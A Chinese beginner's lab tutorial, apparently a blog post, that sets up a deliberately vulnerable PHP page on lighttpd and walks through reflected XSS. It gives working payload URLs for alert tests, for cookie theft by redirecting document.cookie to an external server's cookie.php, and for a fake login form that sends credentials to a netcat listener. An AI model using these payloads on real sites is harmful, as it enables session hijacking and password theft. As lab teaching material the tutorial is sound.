XSS基础环境及实验演示教程(适合新手)

目录

前言

环境说明:

1、轻量级 Web 服务器 + PHP

2、易受XSS攻击的PHP程序

3、非持久性 XSS 攻击

4、窃取会话cookie

5 注入表单窃取密码


前言

        花了一点时间,做了一个“XSS基础环境及实验演示教程”,当然教程很简单,适合刚接触和安全行业的小伙伴去认识了解XSS漏洞,并且上手实操。

        欢迎各位提出问题和作者v一起交流:tomorrow_me-

环境说明:

Kali机器:192.168.2.108

Windows机器:192.168.2.105

为了中间实验过程方便,有时候会利用一台云服务器辅助,实验过程中出现为显示IP的地址或者不为以上两个IP时,均为云服务器。

1、轻级 Web 服务器 + PHP

任务 1. 重新同步包索引文件:

任务 2. 安装轻级和 PHP:

apt-get 安装 lighttpd php php-fpm php-cgi

安装 Lighttpd:sudo apt-get install lighttpd

安装 PHP 和 FastCGI 进程管理器(php-fpm):sudo apt-get install php-fpm

安装 PHP CGI 工具(php-cgi):sudo apt-get install php-cgi

lighttpd配置文件:/etc/lighttpd/conf-available/

启用命令:

sudo lighttpd-enable-mod fastcgi-php

最后,重启Lighttpd服务器以使更改生效:

sudo service lighttpd restart

任务 3. 重新加载 lighttpd 守护进程:

a) service lighttpd force‑reload

任务 4. 从受害者的浏览器检查 Web 服务器是否正在运可访问的。

a) http:// 192.168.2.108

2受XSS攻击的PHP程序

任务 1. 找到您的 lighttpd 络服务器的档根录:

a) lighttpd ⽹络服务器的默认根⽬录是什么?

/var/www/html/

任务 2. 创建一个新的 index.php 文件,这是一个欢迎用户名的简单 PHP 程序。用户名是使用 GET 方法获取的,如以下 PHP 模板所示:

a) 将 index.php 文件复制到文档根目录,然后从受害者的浏览器访问该文件。显示的是什么词?

任务 3. 我们受攻击的 PHP 程序 (index.php) 需要通过 GET 请求的参数(名称)来欢迎用户。

a) 如下所示欢迎用户admin 的URL 是什么?

http://192.168.2.108/index.php?username=admin

3、非持久性 XSS 攻击

任务 1. 在受害者的浏览器中,是发送一个简单的字符作为名称参数,而是尝试发送在名称前添加“<h1>”HTML 标记。在 HTML 中,<h1> 标签用于标题,预期结果是一个大的名称。

实验结果如下图所示:

指明实现该目的的完整 URL。

http://192.168.2.108/index.php?username=<h1>admin</h1>

任务 2. 查看受害者浏览器中的源代码。

a) 生成的源代码是什么?

如下图:

任务 3. 现在,我们将注入功能强大的 JavaScript 代码,而是注入基本的 HTML 标记。为确保我们的 JavaScript 代码在受害者的浏览器中运,我们将显示一条消息。为此,我们将使用 alert() JavaScript 函数。

a) 提供将在包含消息的 JavaScript 中执行 alert() 的恶意 URL 如下图所示被黑客入侵:

url: http://192.168.2.108/index.php?username=%3Cscript%3Ealert(%27hacked%27)%3C/script%3E

任务 4. 查看受害者浏览器中的源代码。

a) 生成的源代码是什么?

4、窃取会话cookie

任务 1. 要模拟具有会话 ID 的 Web 服务器,我们可以在 Web 服务器中使用 setcookie PHP 函数。这可以通过将以下内容添加到 index.php 文件来完成:

任务 2.在将 sessionID 发送到远程服务器之前,⼀个好的起点是在 JavaScript 中执⾏⼀些检查。使⽤ document.cookie Javascript 属性:

  1. 创建⼀个 URL,在受害者的浏览器中显⽰ cookie 值。为此,请使⽤ alert()

JavaScript 函数和 document.cookie JavaScript 属性。实现该⽬标的 URL 是什么?

url为:http://192.168.2.108/index.php?username=%3Cscript%3Ealert(document.cookie)%3C/script%3E

任务 3.最后,我们要将 cookie 值泄露到远程服务器。

  1. 在您的 Kali 机器中,使⽤ nc ⼯具检索渗出数据。阅读⼿册以了解如何运⾏ nc 以侦听端⼝ 80。指⽰ nc 侦听端⼝ 80 的参数是哪些?

参数 -l 表示监听模式,参数 -v 表示启用详细模式,参数 -p 指定监听的端口号。

  1. 使⽤上述可能的 JavaScript 代码之⼀,通过替换“...”来泄露会话 ID,通过适当的 JavaScript 代码。

192.168.2.108/index.php?username=admin<script>window.location="http://81.68.2.42/cookie.php%3Fcookie="%2Bdocument.cookiei</script>

通过这个代码,可以获取用户的cookie,并且拿到cookie。

http://81.68.122.42/cookie.php是我部署的http服务,cookie.php如下:

它会将窃取的cookie写入当前路径的cookies.txt中;如:

5 注入表单窃取密码

任务 1. 在此任务中,您需要创建一个 URL 以利用 index.php 文件中的 XSS 漏洞。我们需要做的是创建一个伪造的 HTML 表单,向受害者询问用户名和密码。

当受害者按下提交按钮时,凭据将被发送到由攻击者控制的远程服务器。

指示 nc 监听端口 9090 的参数是么?

参数 -l 表示监听模式,参数 -v 表示启用详细模式,参数 -p 指定监听的端口号。

允许您使用虚假表单窃取和泄(到您的 Kali 机器)受害者的用户名和密码的 URL 是么?

http://81.68.123.42:9090/login.php?username=admin&passowrd=123456

更多分享:VX公众号:安全info

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

流浪法师12

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值